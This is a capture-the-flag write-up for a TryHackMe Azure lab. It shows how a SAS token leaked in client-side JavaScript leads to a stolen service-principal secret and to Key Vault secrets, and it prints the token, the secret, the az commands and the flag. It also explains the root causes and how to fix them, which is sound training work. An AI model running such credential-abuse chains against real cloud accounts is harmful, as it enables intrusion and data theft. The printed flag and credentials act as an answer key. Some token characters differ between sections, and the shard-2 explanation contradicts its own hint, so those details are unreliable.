

CryptoCabana — Writeup

TryHackMe · Hacker Holidays · Byte Lotus Hotel

■ Flag: THM{n0t_ur_k3ys_n0t_ur_c01ns!}

TryHackMe — CryptoCabana (Hacker Holidays · The Byte Lotus Hotel)

- **Points:** 90
- **Category:** Cloud (Azure)
- **Difficulty:** Medium
- **Target:** <https://cryptocabanaf5scjagc.z13.web.core.windows.net/>

Flag: THM{n0t_ur_k3ys_n0t_ur_c01ns!} "Not your keys, not your coins." — exactly the point of this room.

Summary / Story

A backup kiosk website lets victims paste a seed phrase and "back it up" to a private vault. The page promises, in four words: "Backed up. Sleep easy." But the kiosk silently ships a fully-working SAS token in its own JavaScript, which lets anyone list and read every container in the storage account — including a vault container the page never mentions. That vault holds a service-principal client secret, and the service principal can read an Azure Key Vault. The Key Vault holds three shards of the flag. One shard was "rotated" (a trap), but its old value is still in a previous secret version.

Step 1 — What the kiosk gives you for free (client-side trust)

Fetch the landing page and its JS. You don't even need to click anything — the app loads app.js automatically. `curl -s https://cryptocabanaf5scjagc.z13.web.core.windows.net/ | head -50` `curl -s https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js` app.js contains everything you need: `const STORAGE_ACCOUNT = "cryptocabanaf5scjagc"; const BACKUPS_CONTAINER = "backups"; const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";` Reading the SAS parameters:

Param	Meaning	Value
sv	Storage service version	2022-11-02
ss=b	Signed service: Blob only	blob
srt=sco	Signed resource types	service, container, object
sp=rl	Signed permissions	read + list
se	Expiry	2099-12-31 (never expires!)
st	Start	2024-01-01

Vuln #1 — Over-privileged, never-expiring SAS token shipped in client-side code. The SAS should have been scoped to only the backups container and only write (sp=cw or sp=wa), not read+list across the

whole account.

Step 2 — Follow the trust somewhere the kiosk never points you

Use the SAS to list containers. (I used the Azure SDK, but the equivalent az storage command is below.) #
Equivalent in Azure CLI / Cloud Shell: `az storage container list --account-name cryptocabanaf5scjagc \`
`--sas-token "sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z`
`&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D" \ --output table`
Containers:

- \$web (the public website)
- backups (empty — where the kiosk writes)
- **vault** ← the kiosk never mentions this one!

This is the second itinerary hint: "Follow that trust somewhere the kiosk's own page never once points you." List and download the vault blobs: `az storage blob list --account-name cryptocabanaf5scjagc \`
`--container-name vault \ --sas-token "sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st`
`=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%`
`3D" \ --output table` `az storage blob download --account-name cryptocabanaf5scjagc \ --container-name`
`vault \ --name backup-service-account.json --file backup-service-account.json \ --sas-token "<same SAS>"`
`az storage blob download --account-name cryptocabanaf5scjagc \ --container-name vault \ --name`
`seed_phrase.txt --file seed_phrase.txt \ --sas-token "<same SAS>"`

backup-service-account.json — the second, more valuable set of keys

```
{ "client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5", "client_secret":  
"UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg", "key_vault_name": "ccabana-kv-f5scjagc",  
"key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/", "tenant_id":  
"8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c", "note": "CryptoCabana backup automation account. Rotate  
this if it ever leaves the vault. -- IT" }
```

An Azure service principal (client_id + client_secret) — the automation account that talks to the Key Vault. It was sitting in an unsecured blob container.

seed_phrase.txt

velvet cabana rebuild scatter obvious wallet drift lagoon punchline receipt orbit shrimp A decoy seed phrase. Nice touch, not the flag. Vuln #2 — Secrets stored in plaintext inside a blob container that is readable via a leaked SAS token. Service principal credentials should live in the Key Vault (or use a managed identity), never as a downloadable blob.

Step 3 — Use the service principal to read the Key Vault

Authenticate as the service principal: `az login --service-principal \ --username`
`dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 \ --password`
`'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' \ --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c`
`az account show` List the vault secrets: `az keyvault secret list --vault-name ccabana-kv-f5scjagc --output`
`table` Secrets found:

- key-shard-1

- key-shard-2
- key-shard-3
- master-key

Read the secrets: `az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-1` `az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-3`

- key-shard-1 → `THM{n0t_ur`
- key-shard-3 → `ur_c01ns!}`

When you try master-key, you get Forbidden (RBAC) — the service principal is not granted `getSecret` on that secret. That's the vault "that won't give up the real values on the first ask."

The "rotated" shard — look at previous versions

`az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 --output table` There are two versions of key-shard-2:

- Current version value: `_k3ys_n0t_` ← the real one
- An old/decoy version contains the text: Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.

This is the @0xMia hint: "if a value looks freshly rotated, ask yourself what it looked like five minutes before ■" — it's a trap to make you chase a "rotated" old value. The genuinely current shard is what you need. `az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-2`

- key-shard-2 → `_k3ys_n0t_`

Step 4 — Assemble the flag

Concatenate the three shards in order: key-shard-1 = `THM{n0t_ur` key-shard-2 = `_k3ys_n0t_` key-shard-3 = `ur_c01ns!}` `THM{n0t_ur_k3ys_n0t_ur_c01ns!}` Matching the answer format hint `***{*** _ _ **** _ ** _ *****}; n0t (3) _ ur (2) _ k3ys (4) _ n0t (3) _ ur (2) _ c01ns! (6).`

■ `THM{n0t_ur_k3ys_n0t_ur_c01ns!}`

How the exploit chain works (attack path)

- Public static site (\$web) loads `app.js` which ships a **full SAS token** with read + list permissions across the **entire storage account**, expiring in the year **2099**.
- Attacker lists all containers with the SAS → discovers a hidden **vault** container.
- Attacker downloads `backup-service-account.json` → obtains a **service principal client_id + client_secret** stored in plaintext in blob storage.
- Attacker authenticates to Azure as that service principal → has `getSecret` access to the Key Vault.

- Attacker reads key-shard-1, key-shard-2, key-shard-3 and concatenates them → **flag**. master-key is RBAC-forbidden (that's the "vault that won't give up the real values on the first ask"), but you don't need it.

Root cause / vulnerabilities exploited

- **Hard-coded, over-privileged, non-expiring SAS token in client-side JS.**

The kiosk needs only *write* to the backups container, but the token grants *read + list* on the whole blob service, scoped to service, container, and object, valid until 2099.

- **Secrets stored in plaintext in a blob container.** The service principal credentials (client_secret) were sitting as a JSON blob readable with that SAS.

- **Over-broad RBAC on the Key Vault.** The backup service principal could read key-shard-* (the flag pieces). Least privilege was not applied.

- **"Security by obscurity" hidden container.** The vault container was never referenced by the site but was listable.

How to prevent / remediate (defense in depth)

- **Don't put SAS tokens (or any credentials) in client-side code.**

Use a server-side API/broker that proxies blob operations, or use a **user-assigned managed identity** that the server authenticates with.

- **Scope SAS tokens to the absolute minimum.**

- Restrict to the **single container** (srt=c), not sco.
- Grant only **write** permissions (sp=w or sp=wa), never read/list.
- Set a **short expiry** (hours, not decades).

- Use **Microsoft Entra / RBAC** (Storage Blob Data Contributor) instead of shared-key SAS where possible.

- Revoke/rotate SAS immediately if leaked.

- **Never store secrets in blob storage.**

Store service principal credentials in **Azure Key Vault** and have the app retrieve them at runtime; better yet, use **managed identity** so there is no secret at all.

- **Apply least privilege in Key Vault RBAC.**

Grant each identity only the secret get permissions it needs (Key Vault Secrets User) and no more. The backup account should not be able to read flag shards.

- **Use Key Vault secret versioning properly + audit.**

Enable **diagnostic logging / auditing** on Key Vault and Storage to detect anomalous access. Monitor for reads of secrets you never expected to be read.

- **Remove sensitive data that "leaves the vault."**

The note literally says *"Rotate this if it ever leaves the vault."* The value left the vault and was never rotated. Secret rotation should be automated (e.g., Key Vault + a rotation function).

- **Container access hardening.**

Don't rely on an unlinked container name being secret. If a container holds anything sensitive, deny anonymous/SAS listing access to it.

Commands cheat sheet (all in one place)

```
# 1. Grab the public site + its JS (freely exposed data) curl -s
https://cryptocabanaf5scjagc.z13.web.core.windows.net/ curl -s
https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js # SAS token found in app.js SAS="sv=202
2-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo
05W8KXdSLM9afYCNGogNRV2N5a6aB4dQl3LXz%2Fh0%3D" # 2. List containers (the kiosk never
points to 'vault') az storage container list --account-name cryptocabanaf5scjagc --sas-token "$SAS"
--output table # 3. List + download the hidden vault blobs az storage blob list --account-name
cryptocabanaf5scjagc --container-name vault --sas-token "$SAS" --output table az storage blob download
--account-name cryptocabanaf5scjagc --container-name vault --name backup-service-account.json --file
backup-service-account.json --sas-token "$SAS" az storage blob download --account-name
cryptocabanaf5scjagc --container-name vault --name seed_phrase.txt --file seed_phrase.txt --sas-token
"$SAS" # 4. Authenticate as the leaked service principal az login --service-principal \ --username
dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 \ --password
'UBX8Q~xM6vawWZ5u2C-VhLIsB2Cx2dAuxcrAlbRg' \ --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c
az account show # 5. Read the Key Vault secrets (flag shards) az keyvault secret list --vault-name
ccabana-kv-f5scjagc --output table az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc
--name key-shard-2 --output table # spot the "rotated" trap az keyvault secret show --vault-name
ccabana-kv-f5scjagc --name key-shard-1 az keyvault secret show --vault-name ccabana-kv-f5scjagc
--name key-shard-2 az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-3 az
keyvault secret show --vault-name ccabana-kv-f5scjagc --name master-key # Forbidden (RBAC) — not
needed # 6. Assemble flag # key-shard-1 + key-shard-2 + key-shard-3 = # THM{n0t_ur + _k3ys_n0t_ +
ur_c01ns!} echo "THM{n0t_ur_k3ys_n0t_ur_c01ns!}" Room: CryptoCabana · Byte Lotus Hotel · Hacker
Holidays · @0xMia's story
```